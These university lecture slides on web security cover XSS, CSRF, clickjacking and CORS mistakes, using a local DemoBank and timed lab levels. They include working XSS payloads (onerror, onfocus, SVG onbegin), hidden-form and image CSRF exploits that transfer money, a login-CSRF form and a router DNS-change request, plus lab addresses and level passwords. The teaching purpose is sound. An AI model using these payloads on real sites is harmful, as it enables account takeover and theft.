[+] XSS reaches the page through three common paths. Reflected text comes from thisrequest.Stored text comes from anearlier post.DOM text is copied by pageJavaScript.The entry paths differ, but each path can change the browser’s page tree.
[x] A URL fragment can trigger browser-only XSS. /welcome#namename = location.hash.slice(1)message.innerHTML = nameThe URL fragment stays in the browser; innerHTML parses it as HTML.
[?] What can code inside a trusted page do? It can use the authority that the site gives its own scripts.
[x] Injected code gets the page’s own authority. It can read a balance shown onthe page.It can submit a form as thesigned-in visitor.It can replace a notice with afake one.The lab proves execution with labSolved() and contains no real accounts.
[+] HttpOnly hides cookies while XSS still runs. The server sets this session cookie in its response.Set-Cookie: session=8f3a9c71; Path=/; Secure; HttpOnlydocument.cookieThe session value is absent.GET /accountsCookie: session=8f3a9c71The browser still sends it to Chase.HttpOnly hides the value from JavaScript, but injected code can still send requests.
[x] Stored XSS can spread like a worm. A profile contains code.Visitors run that code.Their profiles copy it.The Samy worm spread through MySpace profiles in 2005.Stored XSS can spread when the script posts itself again.
[?] How do we keep user text from becoming code? We will test each defense against the browser’s parser.
[x] A literal script tag filter leaves another path. The filter strips two exact tag strings.An image error event can also run JavaScript.A script tag filter misses other HTML that can run code.
[>] Level 3 deletes literal script tags first. Make the filtered search preview call labSolved().The filter deletes only exact script tag strings.q = q.replace("<script>", "").replace("</script>", "")Level 2 shows this play code beside its flag.http://165.22.35.184:54333/level3Enter that code to open this level.You have 6 minutes. The preview shows your flag and the next play code.
[+] Level 3 succeeds with a different HTML element. An image error handler survives the script tag filter.This input makes the isolated preview call labSolved().<img src=x onerror=labSolved()>q.replace("<script>", "").replace("</script>", "")"<b>" + escape_html(q) + "</b>"Encode the search text instead of guessing bad tags.
[+] HTML encoding keeps a payload as text. <script>...&lt;script&gt;...The browser draws text.Encode untrusted text at the moment it enters the page.
[x] An unquoted attribute needs a different rule. The page does this.<input value=hello world>value=hello world=""The corrected page quotes the value.<input value="hello world">value="hello world"1. The input is:hello worldEscaping leaves the space.2. The server writes:<input value=hello world>3. The browser parses:value="hello"; world=""The space splits attributes.Quote the value and encode it for the HTML attribute.
[+] Recap: The browser builds the DOM from HTML. <div> q </div>The site replaces q before the browser parses this HTML.A visitor enters hello.q = "hello"The attacker submits the same payload in both views.q = "<img src=x onerror=labSolved()>"Hello becomes a text node.The developer expects only text.The browser actually parses HTML.<div>#text"hello"The page shows hello.<div>#text"<img src=x onerror=labSolved()>"This expected tree never occurs.<div><img>@src="x"@onerror="labSolved()"The image error runs the handler.Raw input inside HTML is parsed as HTML, even when the developer expects text.
[>] Level 4 puts encoded text in an unquoted value. Make the visitor preview call labSolved() after you focusthe field.Spaces still separate attributes in an unquoted value.html = "<input value=" + escape_html(value) + ">"Unlock Level 4 with this password.ladder-kayak-464http://165.22.35.184:54333/level4Level 3 also shows this code beside its flag.You have 7 minutes. The preview shows your flag and the next play code.
[+] Level 4 splits one value into two attributes. The attacker submits this profile value.x onfocus=labSolved()The page HTML-encodes the value, but the space remains.<input value=x onfocus=labSolved()>The browser creates two attributes.<input>@value="x"@onfocus="labSolved()"Focusing the field runs the handler.Quotes keep the input in one attribute.<input value="x onfocus=labSolved()"><input>@value="x onfocus=labSolved()"The unquoted space adds onfocus; quoting the value keeps it as data.
[+] Browser events can run JavaScript handlers. An event happens first; the browser then calls its JavaScript handler.An image fails to load.The browser fires error, then runs onerror.<img src="missing.png" onerror="showError()">
Click to try.
An image finishes loading.The browser fires load, then runs onload.<img src="check.svg" onload="showLoaded()">
Click to try.
Focusing, typing, and hovering fire different events.onfocus="..." oninput="..." onmouseenter="..."
Move the mouse.
These are examples; browsers also fire click, keydown, submit, and SVG begin events.
[+] The server sends CSP in an HTTP response header. The browser requests a page.The web server returns HTML.GET /profileHTTP responseHTTP/1.1 200 OKContent-Security-Policy: script-src 'self'Content-Type: text/html<html>...</html>The app or web server adds the policy to the response header.The browser enforces it while loading that document.A separately opened SVG document needs a policy on its own response.
[+] Content Security Policy checks scripts before they run. The server sends a Content Security Policy header.Content-Security-Policy: script-src 'self'Before running code, the browser checks where it came from.A same-origin script file is allowed.<script src="/app.js"></script>The browser loads /app.js.Inline handlers are blocked.<img src=x onerror="labSolved()">The HTML still contains the image.The 'self' rule still trusts every same-origin script file.CSP is a second execution gate; it does not repair injected HTML.
[+] A nonce marks the inline scripts the server approved. Problem: The 'self' rule blocks inline scripts, including the site's own.<script>init()</script> blockedThe server chooses a new random token for each response.Content-Security-Policy: script-src 'self' 'nonce-r4Nd0m'<script nonce="r4Nd0m">init()</script> allowed<script>labSolved()</script> blockedThe browser compares each inline script with the header.The injected script has no matching nonce.A nonce re-allows approved inline code without allowing every inline script.
[+] CSP and SOP protect different browser actions. We just used a nonce in Content Security Policy (CSP).Content Security Policy (CSP)The server sends a rule about scripts.script-src 'self'The browser enforces that rule.Same-Origin Policy (SOP)It blocks reads across origins.evil.io -> chase.comThe browser enforces it by default.CSP comes from a server header; SOP is built into the browser.CSP checks script execution. SOP checks cross-origin reads.
[+] SOP blocks cross-origin reads by default. Alice has one browser tab open: evil.io.evil.io pagefetch("https://www.chase.com/")Its JavaScript wants the reply.Browser origin checkThe request goes out.JavaScript cannot read the body.www.chase.com serverHTTP responseHTML response bodyevil.io cannot read a Chase iframe’s DOM.XSS in Chase’s page can read its DOM.SOP is a browser read rule; the request still reaches the server.
[+] An origin consists of scheme, host, and port. https://www.chase.com:443/accountshttpsThe scheme is HTTPS.www.chase.comThe host names the site.443Port 443 counts toward the origin.Port 443 counts in the origin; the path /accounts does not.https://www.chase.com:443/app.jsOnly the path changes, so the origin matches.https://cdn.chase.com:443/app.jsThe host changes, so the origin differs.CSP ‘self’ and SOP both compare scheme, host, and port.
[?] What else can make a browser run untrusted code? An uploaded SVG document can run code when a visitor opens it.
[+] XSS has several ways to run code. A script tag in the response can run.<script>labSolved()</script>The browser parses the response HTML.An image error attribute can run.<img src="x" onerror="labSolved()">The missing image fires onerror.A scriptable link can run after a click.<a href="javascript:labSolved()"> Open</a>The visitor follows the link.An opened SVG can run a load handler.<svg xmlns="http://www.w3.org/2000/svg" onload="labSolved()"></svg>The browser opens the SVG document.These four patterns are examples; other elements and events add more routes.
[x] An uploaded SVG document can run code when opened. A user uploads an SVG document.The site serves the document.A visitor opens it directly.<svg><script>alert(1)</script></svg>A separate upload origin confines any script in the SVG document.An SVG used as an image does not run its scripts.
[+] An SVG animation fires beginEvent when it starts. This SVG changes opacity, beginning at time zero.<rect width="120" height="80"> <animate attributeName="opacity" from="0" to="1" begin="0s" dur="1s" onbegin="markStarted()"/></rect>The animation starts at 0 seconds.begin="0s"This sets the start time.beginEventThe browser reports the start.onbegin="markStarted()"This handler runs JavaScript.An event attribute can run code even when script tags are forbidden.
[>] Level 5 tests an SVG animation filter. Make the SVG document call labSolved() through an animationevent.The editor allows opacity animations and misses an event attribute.Allowed elements: rect, circle, g, text, animate. Script is rejected.Level 4 shows this play code beside its flag.http://165.22.35.184:54333/level5Enter that code to open this level.You have 9 minutes. The preview shows your flag and the next play code.
[+] Level 5 checks SVG with an attribute allowlist. The server checks SVG attributes against this allowlist."animate": {"attributeName", "from", "to", "begin", "dur", "repeatCount", "fill", "onbegin"},Only onbegin runs JavaScript.The validator rejects attributes that are absent from the list.allowed = SVG_ALLOWED.get(tag)unexpected = set(element.attrib) - allowedif unexpected: return f"The {tag} element cannot use the {sorted(unexpected)[0]} attribute."An allowlist fails when it explicitly permits an executable attribute.The validator also restricts animations to opacity inside a rect or circle.Check what each allowed attribute makes the browser do.
[?] XSS lab level 5 solution · locked
🔒

Open this solution with your level 5 flag.

[?] XSS lab level 5 solution · locked
🔒

Open this solution with your level 5 flag.

[>] Level 6 reads a private demo code. Make a saved message pass the visitor code tolabSolved(code).The visitor page has #demo-code and inserts the message as HTML.html = private_code + strip_script_tags(saved_message)http://165.22.35.184:54333/level6Enter the play code shown beside the Level 5 flag.<article> <p>Fresh demo code: <code id="demo-code">[fresh code]</code></p> <h3>Support message</h3> <div>[saved message]</div></article>The tree shows key nodes.<article><p><div><code id="demo-code">[saved message][fresh code]You have 10 minutes. The preview shows your flag.
[?] XSS lab level 6 solution · locked
🔒

Open this solution with your level 6 flag.

[?] XSS lab level 6 solution · locked
🔒

Open this solution with your level 6 flag.

[>] XSS Arena: one payload faces every defense. http://165.22.35.184:54334/Choose one nickname and keep the same browser for the whole game.PREPARATIONBuild your blocklist shield.Write keyword or RE2 blocking rules.Harmless text like “this is onerror” must pass.Preparation has no timer.ATTACKFind a crack.Launch payloads throughout the attack phase.labSolved()The judge tries browseractions.Every valid payload faces all other defenders.ONE PAYLOADBROWSER PROOFALL OTHER DEFENSESA proven payload may break some defenses and be blocked by others.
[>] XSS Arena: the judge exercises browser events. The judge tries the same short sequence for every payload.1. Load the page.onload / onerrorBroken images fireerror naturally.2. Hover over it.onmouseenterThe pointer enters avisible element.3. Focus and type.onfocus / oninputTyping may also firechange.4. Click anelement.onclickA click may run itshandler.The attack counts if an event makes the page call labSolved().
[+] Each defender owns a 100-point pot. ALL VALID ATTACKS ARE BLOCKED100The defender keeps 100 points.No one reached this defender.AT LEAST ONE ATTACK GETS THROUGH0for defender50 + 50for Bob and CoraTwo distinct attackers split the 100 points.Only a proven first block spreads to the next round.PRIVATE RULEFIRST MATCH BLOCKSSHARED NEXT ROUNDUntriggered rules stay private. Shared rules stay active, but you may reorder them.Watch live results at /board; review payloads at /review after the game.The instructor starts each attack and chooses when to finish the game.

? XSS needed the attacker’s code inside chase.com. Can evil.io hurt you without getting any code into chase.com at all?

[+] What happens when a request starts on another site? This is your browser.This is the internet.This is chase.com’s server.Request forgery hits step 4.1You type a URL.2DNS finds the server.3TLS locks the channel.4The request goes out.5The code runs.6It asks the database.7The page comes back.8The browser runs it.Step 4 again, but this time the request starts on a different site.
[!] Any page can make your browser send GET or POST GET reads.Its data rides in the URL, in history and in logs.POST changes something.Its data rides in the body.Any page, on any site, can make your browser send both:<img src="https://www.chase.com/...">A GET, as soon as the page loads.<form method="POST" action="https://www.chase.com/..."> form.submit()A POST, with no click at all.fetch("https://www.chase.com/...", {method: "POST"})Any method, from a script.Sending a request to another site is easy and normal. Request forgery is built on exactly this.
[+] A form turns into a request, cookie included <form method="POST" action="https://www.chase.com/transfer"> <input name="to" value="bob"> <input name="amount" value="50"> <button>Send</button></form>POST /transferCookie: session=8f3a...to=bob&amount=50The browser adds the cookie by itself.A form does not need a click. One line of script submits it:document.forms[0].submit()And the action can name any site. A form on evil.io can post to chase.com.A form plus an automatic cookie is a request the user never meant to send. That is request forgery.
[!] A cross-site request may carry an eligible cookie Chase Accountshttps://www.chase.com/accountsBalance: $1,250Free gift card!https://evil.io/free-giftClaim your free gift card!<img src="https://www.chase.com/...">GET /accountsGET /transfer?...Both requests arrive with Alice’s cookie.An eligible Chase cookie goes to Chase, even when evil.io starts the request.
[!] evil.io can send a form but cannot read the reply Assume the Chase cookie permits cross-site POST requests.This is evil.io’s page.This is chase.com.POST /transfer Cookie: session=8f3a...The form sends the eligible cookie.Balance: $1,200Reading the answer is blocked.The wall stops evil.io from reading. It does not stop the request from arriving.If the request alone moves money, the damage is already done.The same-origin policy blocks the read. SameSite separately controls the cookie.
[+] A page may show other sites but not look inside A page may show content from other sites, without reading it:<img src="https://www.chase.com/logo.png">The image shows up. evil.io cannot read its pixels.<iframe src="https://www.chase.com/">The whole page shows up. evil.io cannot look inside it.<script src="https://cdn.example/lib.js">The script runs as part of evil.io, with evil.io’s powers.<form action="https://www.chase.com/...">The form submits. That is the sending we just saw.Showing is allowed and reading is not. Clickjacking abuses the frame row; CDN attacks abuse the script row.
[!] Or skip the wall, and send your cookie along This is chase.com’s page.This is its database.This is evil.io.11Cross-site scripting puts the attacker’s script inside the page, where the wall trusts it.22Request forgery can send an eligible cookie from outside. Sending a form is allowed.33SQL injection sends the attacker’s text to the database, behind the wall.Request forgery never gets inside chase.com. It needs one state-changing request with an eligible cookie.
[ Attack 3 of 3 ]

Request forgery
borrows your login

evil.io makes your browser send a request to chase.com, with your cookie, and chase.com obeys. No code ever enters chase.com.

[+] Three facts add up to an attack The browser attaches chase.com’scookie to every request tochase.com.Whichever page started it.The wall stops evil.io fromreading chase.com.It does not stop evil.io fromsending.A page can send a GET with animage, and a POST with a form.The form can submit itself.A page on evil.io.POST /transferAlice’s browser adds her cookie.chase.com sees a valid session.The attacker never sees the cookie, the page, or the answer, and does not need to.

? Alice is logged in to DemoBank in one tab. In another tab she opens a page about a free gift card. What can that page do?

[x] One invisible image moved Alice’s money Free gift card!!http://evil.io/gift-img.htmlClaim your free $100 gift card!Please wait while we check your eligibility...<img src="http://localhost:8001/transfer?to=mallory&amount=500" style="display:none">The page hides one image whose address is DemoBank’s transfer URL.DemoBank, on purpose, moves money on a GET.real output: what DemoBank receivedDemoBank log:GET /transfer?to=mallory&amount=500Referer: http://127.0.0.1:9000/ Sec-Fetch-Site: cross-siteCookie sent: yesThis is Alice’s real dashboard afterwards.The browser fetched the image, attached Alice’s DemoBankcookie, and DemoBank moved $500 to mallory.Alice saw a gift card page. The image failed to load, and nobodynoticed.evil.io runs on 127.0.0.1:9000 in my demo, a different site fromlocalhost:8001.
[x] The browser is a confused deputy This is Alice’s browser.This is evil.io.This is chase.com.1. POST /login -> Set-Cookie: sid=8f3a...2. GET /free-gift3. It returns a page with a hidden form or image.4. POST /transfer to=mallory&amount=500 Cookie: sid=8f3a...5. 200 OK Transfer complete.The browser is a confused deputy. It holds Alice’s authority and uses it for whoever asks.chase.com checks that the request carries Alice’s cookie. It does.It never checks whether Alice meant to send it.That is cross-site request forgery: the request is real, the cookie is real, and the intent is forged.Suman’s slides called the browser a confused deputy carrying your cookies. The term is from Norm Hardy, 1988.
[x] Moving money only on POST does not stop it Defense 0: the bank moves money only on POST. The attacker uses a hidden form.<form id="f" method="POST" action="http://localhost:8001/transfer"> <input type="hidden" name="to" value="mallory"> <input type="hidden" name="amount" value="500"></form><script> f.submit() </script>The form submits itself the moment thepage loads. Alice never clicks.It can also go into a hidden frame, soAlice stays on the gift page.POST /transferOrigin: http://127.0.0.1:9000to=mallory&amount=500Using POST for changes is still right: it stops image tags,links, and prefetching. It just does not stop forms.A request that changes something must prove that the user meant it.The cookie proves who the user is. It says nothing about which page sent the request.Every defense ahead is a different answer to one question:How can chase.com tell a request from its own page apart from a request from evil.io?Before that, three real cases and two variants.
[x] In 2008, CSRF worked on a bank and on YouTube In 2008, Zeller and Felten at Princeton found working CSRF attacks on four big sites.ING Direct is a bank.Forged requests opened a newaccount for the victim, addedthe attacker as a payee, andmoved money. HTTPS did nothelp.YouTube is a video site.Nearly every action could beforged with an image tag: addfriends, add favorites,subscribe, and share videos.MetaFilter is a forum.An image tag changed theaccount’s email address. Thenthe lost-password page mailedthe password to the attacker.The Times is a newspaper.The Email This feature workedon a GET, so an image tag madethe site send the victim’semail address to the attacker.They called the ING attack the first published CSRF attack on a financial institution.Every site fixed its bug after the report. The attack needs no bug in the browser and no skill, only a page.Source: W. Zeller and E. Felten, Cross-Site Request Forgeries: Exploitation and Prevention, 2008.
[x] A forged mail filter can steal a domain September 2007.A researcher publishes a CSRF in Gmail: a page on any site could create a mailfilter in your account.The filter works like this.Forward every email to an outside address, then delete it from the inbox. Thevictim sees nothing.November 2007.Designer David Airey’s domain is moved to another registrar. The transferemails were forwarded away by a Gmail filter Airey never made.December 2007.The thief asks for money to give the domain back. Airey gets it back throughthe registrar after a blog post about it goes viral.A forged request creates a filter:POST /mail/...action=create_filterfrom=*forward_to=thief@...delete=trueCookie: (the victim’s Gmail)One forged request plants a rule that keepsworking for months, long after the victimleaves the page.The request fields are a sketch.Airey blamed the Gmail CSRF. Google later said that bug was fixed within a day of being reported,and that no Gmail bug was involved in this case. So the story is disputed.The lesson holds either way: a forged request that changes a setting can do damage for months.Sources: davidairey.com, December 2007; Google Online Security Blog, November 2008.
[x] An attacker can log you in as the attacker Variant: instead of acting as Alice, log Alice in as the attacker.<form method="POST" action="https://www.google.com/login"> <input name="user" value="[email protected]"> <input name="pw" value="attacker-password"></form><script>document.forms[0].submit()</script>Alice is now logged inas the attacker.She keeps searching for medicalquestions, all saved in theattacker’s history.These are real examples from 2008:Google and Yahoo search history: thevictim’s searches land in the attacker’saccount.PayPal: a merchant logs the victim intothe merchant’s account, so the card thevictim adds lands there.This is login CSRF. The forged request is the login itself.Defenses that only protect logged-in actions miss it, because the login form has no session yet.The fix is the same as for any other form: the login request must also prove it came from the site’s own page.Barth, Jackson, and Mitchell named it in 2008, in the paper that also proposed the Origin header.The Origin header is one of the defenses we test soon.Source: A. Barth, C. Jackson, J. Mitchell, Robust Defenses for Cross-Site Request Forgery, CCS 2008.
[x] A web page can reconfigure your home router This is your home network:This is yourlaptop.192.168.1.1This is yourrouter.evil.ioYou open an ad or a page.POST http://192.168.1.1/dns dns=6.6.6.6 (admin:admin)The page in your browser sends therequest. Your browser can reach therouter, and evil.io cannot.Researchers called it drive-by pharming in 2007.Stamm, Ramzan, and Jakobsson showed that a page can log in to ahome router with its default password and change its DNS server.Every site you visit afterwards can be answered by the attacker’sDNS server. They cited a survey that half of home routers used adefault or empty password.Criminals used it in the wild in 2016.Proofpoint found the DNSChanger exploit kit in ads on normalsites. It found the router’s address, recognized 166 routermodels, and changed their DNS.At least 56,000 routers were changed. Since Chrome 142 in 2025, apublic page must ask before it fetches from your local network.
[ Attack 3 of 3: defenses ]

Every CSRF defense
met a bypass

Check where the request came from, require a secret the attacker cannot read, or stop sending the cookie.

[+] Checking the Referer header has gaps Defense 1: the bank checks the Referer header, which names the page that sent the request.DemoBank log for the forged POST: Referer: http://127.0.0.1:9000/if not request.headers.get("Referer", "").startswith("https://www.chase.com/"): reject()The browser writes the Referer, so evil.io’s page cannot fake it. That part works.The Referer is often missing.In 2008, Barth and others measured it missing for 3 to 11 percent of users over HTTP, removed by proxies and privacy tools. A site thatrejects those breaks for real users. A site that accepts them lets the attacker in.The attacker can remove it.<meta name="referrer" content="no-referrer"> on evil.io makes the browser send no Referer at all. Then the forged request looks like aprivacy-minded user.Sloppy checks match the wrong thing.A check for "chase.com" anywhere in the Referer also accepts https://chase.com.evil.io/ and https://evil.io/?chase.com.A strict Referer check over HTTPS still works, and it was Suman’s recommendation for banks. It is fragile.

? What does chase.com’s own page know that a page on evil.io cannot know?

[+] A secret token proves the form came from the site Defense 2: every form on DemoBank’s own page carries a random secret tied to the session.<form method="POST" action="/transfer_tok"> <input type="hidden" name="csrf" value="9b2f71c04ad35e8e1c6f02a4b7d3e015"> <input name="to"> <input name="amount"> <button>Send</button></form>The server checks that the secret in the requestmatches the one it gave this session.It works like a ticket that only chase.com’s own pageever sees.evil.io tries to read the page to copy the token:Access to fetch at 'http://localhost:8001/pay' fromorigin 'http://127.0.0.1:9000' has been blocked by CORS policySo it guesses, and DemoBank refuses the forged POST:Both outputs are real.This is a CSRF token, or synchronizer token.The same-origin policy that let evil.io send the request alsostops it from reading the token. The wall finally helps.Most frameworks add it to every form for you: Django, Rails,Laravel, Spring, and others.
[x] Tokens fail when forgotten, leaked, or read by XSS Bypasses of the token, from the most common to the most complete:The developer forgets one form, or protects POST but not a GET that changes state.The token only protects the requests that check it.The token is put in a URL, so it leaks through the Referer, logs, and browser history.A token in a link travels to every site the page links to.The token is not tied to the session, so the attacker uses one from their own account.The server must check that this token belongs to this user.An XSS anywhere on the site reads the token and sends the request itself.Samy’s worm did exactly this: it scraped MySpace’s token from the page before posting.XSS beats every CSRF defense, because the attacker’s code runs on chase.com’s own page.From the server’s point of view, that request really did come from its own page.That is why we studied XSS first.
[+] The Origin header names the site that sent it Defense 3: the bank checks the Origin header. It names only the site, never the path.real outputDemoBank log, forged POST from the gift page:POST /transfer Origin: http://127.0.0.1:9000DemoBank log, hidden image GET from the gift page:GET /transfer?to=mallory&amount=500 Origin: NoneBarth, Jackson, and Mitchell proposed itin 2008 to fix the Referer’s problems.Privacy tools leave it alone, because itcarries no path.if origin != "https://www.chase.com": reject()These are the bypasses and gaps:Browsers do not send Origin on a plain GET from an image or link.So the check protects POST only. GET must never change state, again.Some requests carry Origin: null, from sandboxed frames, data: URLs, or some redirects.A server that allows null lets an attacker in through a sandboxed frame.Servers often allow requests with no Origin at all, to keep old clients working.Then any request the attacker can strip of its Origin passes.A strict Origin check on every state-changing request is a good defense. Combined with tokens it is better.Source for the Origin header: Barth, Jackson, Mitchell, CCS 2008, later RFC 6454.

? Every defense so far makes the server figure out where a request came from. What if the browser simply did not attach the cookie?

[+] SameSite tells the browser to keep the cookie home Defense 4: a SameSite attribute tells the browser when to leave the cookie at home.SameSite=StrictThe cookie is never sent on a request that another site started, not even when you click a link to chase.com.SameSite=LaxThe cookie is sent when you follow a link to chase.com with GET, and not on cross-site forms, images, orframes.SameSite=NoneThe cookie goes everywhere, as before 2020. It must also be marked Secure.In 2020, Chrome changed the default. A cookie with no SameSite attribute is treated as Lax.Chrome 80 started it in February 2020, paused it in April because of COVID-19,resumed in July, and reached all Chrome users in August 2020.This one change of default protected millions of sites that had never heard of CSRF.But only Chrome and browsers built on it changed the default.As of 2026, Firefox and Safari still treat a cookie with no attribute as SameSite=None.Safari blocks third-party cookies in general, but a top-level form post is not third party.Sources: chromium.org SameSite updates; MDN browser compatibility data for Set-Cookie.
[x] I tested SameSite against DemoBank for real I tested every case with DemoBank and Chrome 155. evil.io sent each forged request. Did the cookie go along?The cookie was set like this.evil.io sent this request.Did the cookie go along?No attribute (Lax by default)evil.io loads a hidden image with GET.noNo attribute (Lax by default)evil.io submits a POST form seconds after login.yesNo attribute (Lax by default)evil.io submits it 2 minutes 28 seconds after login.noSameSite=Laxevil.io submits a POST form.noSameSite=Laxevil.io sends the whole tab to the transfer URL with GET.yesSameSite=Noneevil.io loads a hidden image with GET.yesGap 1 is the two-minute window.Chrome sends a cookie with no attribute on a cross-site POST ifthe cookie is at most 2 minutes old, so single sign-on keepsworking. It was meant to be temporary, and it is still there in2026.Gap 2: Lax still sends GET navigations.If the site changes state on GET, as DemoBank does, Lax does nothelp. The attacker just sends the whole tab to the transfer URL.All six rows are real results from the request log.
[x] Same site is looser than same origin Gap 3: SameSite means the same site, which is looser than the same origin.https://blog.chase.comhttps://www.chase.comFor SameSite, these two are the same site, because the domain name chase.com matches.blog.chase.comAn attacker who takes over any forgottensubdomain, or finds an XSS on it, sendsrequests that count as same-site.www.chase.comA forgotten subdomain often points at a cloud service the company stopped paying for. Anyone can claim it.This is called subdomain takeover. It also lets the attacker set cookies for chase.com, as we saw with cookie scope.So SameSite is a strong layer, not a complete fix:it has a two-minute window, it ignores GET navigations, it trusts every sibling subdomain,and two of the three major browsers do not turn it on by default. Sites set it explicitly and keep their tokens.
[+] The browser now says where each request came from Defense 5: modern browsers say where every request came from, in Sec-Fetch headers.DemoBank log, every forged request in my tests:Sec-Fetch-Site: cross-siteThe same headers when Alice uses DemoBank’s own form:Sec-Fetch-Site: same-originresource isolation policy, after web.devdef allow(req): site = req.headers.get("Sec-Fetch-Site") mode = req.headers.get("Sec-Fetch-Mode") if site is None: return True # old browser if site in ("same-origin", "same-site", "none"): return True if req.method == "GET" and mode == "navigate": return True # a normal link return False # everything elseThe browser sets these headers, and a page cannot change them. Theyexist in Chrome since 2019, Firefox since 2021, and Safari since 2023.A server can reject every cross-site request to its private API in afew lines.The gaps are familiar: old browsers send none, navigationsare allowed, and same-site includes every sibling subdomain.Like SameSite, it is a layer, not a complete fix.Every defense answers the same question: did chase.com’s own page send this?Referer and Origin ask the browser. The token asks for a secret. SameSite and Sec-Fetch change the browser’s rules.Real sites combine a token, SameSite=Lax or Strict, and an Origin or Sec-Fetch check.And none of them helps once there is an XSS.
[+] This timeline shows the whole CSRF race The attacker moves here.The defender moves here.evil.io makes the browser send a request, and the cookierides along.<img src="https://chase.com/transfer?to=mallory">The bank changes state only on POST.Images and links can no longer move money.A hidden form submits itself.<script>f.submit()</script>The bank checks Referer, then Origin, then a secret tokenin every form.evil.io cannot read the token through the wall.Missing headers, forgotten forms, leaked tokens, and XSSthat reads the token.XSS beats every one of them.Browsers stop sending the cookie: SameSite=Lax by defaultin Chrome since 2020.Set-Cookie: sid=...; SameSite=LaxThe two-minute window, GET navigations, and siblingsubdomains.Firefox and Safari still default to None.Sites combine a token, explicit SameSite, an Origin orSec-Fetch check, and no state changes on GET.

? A token stops forged requests. What if the attacker gets Alice to make the real request herself?

[x] An invisible frame steals Alice’s click This is what Alice sees on evil.io:The same page with the hidden frame made half visible:Clicking Claim my prize clicks Delete my account underneath.The top layer is DemoBank’s settings page in a frame with opacity 0.0001. It is invisible, but it receives every click.The bottom layer is evil.io’s prize page with a big green button exactly under the Delete button.This is clickjacking. The click is real, it happens on DemoBank’s own page, and it carries the real token.Tokens, Origin checks, and Sec-Fetch all pass, because the request really came from DemoBank.With SameSite=Lax or Strict, the framed page has no cookie, so it is logged out. That helps, if the site sets it.
[+] Clickjacking was named in 2008 2008Robert Hansen and Jeremiah Grossman nameclickjacking. Adobe asks them to pulltheir talk: a hidden frame of the Flashsettings page could turn on a visitor’scamera and microphone.2009A Twitter worm says Don’t Click. Clickingits button posted the same message fromyour account, through a hidden frame ofTwitter.2010Likejacking on Facebook: a page that saidClick here to continue hid a Like button,so any click liked it. Hundreds ofthousands were hit.Defense: the page refuses to be framed.if (top != self) top.location = self.location;Frame busting: a script that breaks out of any frame.A 2010 study found it on 60 percent of the top 10 sites andbypassed every one, for example by framing twice or by blocking thenavigation.X-Frame-Options: DENYA header from Internet Explorer 8, in 2009. The browser refuses to show the page in a frame.Every browser supports it.Content-Security-Policy: frame-ancestors 'none'The standard replacement, which can also list allowed parents.chase.com sends both headers today.
[x] Framing headers stopped it, until double-clicks DemoBank with both headers, framed again:Framing 'http://localhost:8001/' violates the followingContent Security Policy directive: "frame-ancestors 'none'".The request has been blocked.The frame stays empty, so the prize button clicks nothing.This is real output.Bypass in 2024: double-clickjacking, by Paulos Yibelo.1.evil.io opens a small new window that asks for a double-clickto prove you are human.2.Meanwhile it sends its original tab to the real page, such asa login consent screen.3.The first click closes the small window. The second clicklands on the real button underneath.There is no frame, so the framing headers do not apply. The real siteis the top window. SameSite does not apply either.The proposed fix: keep dangerous buttons disabled until the user really moves the mouse or presses a key on the page.The race continues today. Source: Paulos Yibelo, DoubleClickjacking, December 30, 2024.

? The wall stops evil.io from reading chase.com. Can chase.com open a door in the wall on purpose?

[x] A server can open the wall by mistake CORS lets a server tell the browser which other origins may read its answers.Access-Control-Allow-Origin: https://partner.exampleAccess-Control-Allow-Credentials: true # the partner may read answers to requests that carry cookiesDemoBank’s /api/me makes a common mistake. It copies whatever Origin arrives:o = request.headers["Origin"]response.headers["Access-Control-Allow-Origin"] = o # any origin at allresponse.headers["Access-Control-Allow-Credentials"] = "true"evil.io’s gift page reads Alice’s balance:Real output. The wall opened for everyone.In 2016, James Kettle found this on real sites.At one bitcoin exchange, any site could read a user’s API keys,enough to move their coins. It was fixed 20 minutes after thereport.Others trusted the origin null, or any name ending in their domain.CSRF sends without reading. A CORS mistake reads, which is worse: it leaks data, tokens, and keys.The fix: compare the Origin against an exact list of partners, never echo it, and never trust null.Source: James Kettle, Exploiting CORS misconfigurations for Bitcoins and bounties, PortSwigger, October 2016.
[+] The chain shows each attack and its defense This is your browser.This is the internet.This is chase.com’s server.SQL injection hits step 6.Keep code and data apart.Cross-site scripting hitssteps 7 and 8.Encode output, and add a CSP.Request forgery hits step 4.Use SameSite cookies and a token.1You type a URL.2DNS finds the server.3TLS locks the channel.4The request goes out.5The code runs.6It asks the database.7The page comes back.8The browser runs it.
[+] The three attacks share one shape The attacker controls this.This gets trusted by mistake.This is the real fix.These layers limit the damage.This is SQL injection.It is text in a request.The database parses thattext as part of the query.Use parameterized queries.Use allowlists, leastprivilege, generic errors,and hashed passwords.This is cross-sitescripting.It is text that ends up ina page.The browser runs that textas the site’s own code.Encode for the exact spot,by default.Use CSP with nonces,Trusted Types, HttpOnly,and SRI.This is requestforgery.It is a page that Alicevisits.The site obeys a requestjust because it carriesAlice’s cookie.Use tokens and SameSitecookies.Check Origin and Sec-Fetch,keep GET free of changes,and send frame headers.Each time, the fix keeps the attacker’s input in a separate channel from the code or the authority.
[+] Here are six ideas to keep from the web unit Never trust anything the client sends: text,headers, cookies, or the page it came from.Keep data and code apart: placeholders for SQL,encoding for HTML, argument lists for the shell.A script inside a page has the site’s full power,so every script the site loads is part of itssecurity.A cookie proves who the user is, not what theuser meant. Changes need proof of intent.The same-origin wall stops reading, not sending.Every door in it is a design decision.Every defense in this unit had a bypass. Realsites stack several layers and keep testing them.
[+] The material comes from these sources
  • These lectures are based on Suman Jana’s web security slides for this course, rebuilt and extended.
  • DemoBank, the screenshots of it, and all terminal output marked as real were produced on my laptop on October 26, 2026, with Chrome 155 and sqlmap 1.10.10.
  • The comic is xkcd 327 by Randall Munroe, used under CC BY-NC 2.5. The photo of Samy Kamkar is by Dan Tentler, used under CC BY 2.0.
  • Screenshots of Firesheep (Eric Butler), the FlyCASS write-up (Ian Carroll), the CISA advisory, Kamkar’s write-up, the TweetDeck tweet (via Sucuri), Sansec’s report, MDN, and the OWASP Top 10 belong to their authors and are used for teaching.
  • Icons are Twemoji, used under CC BY 4.0.
← all lectures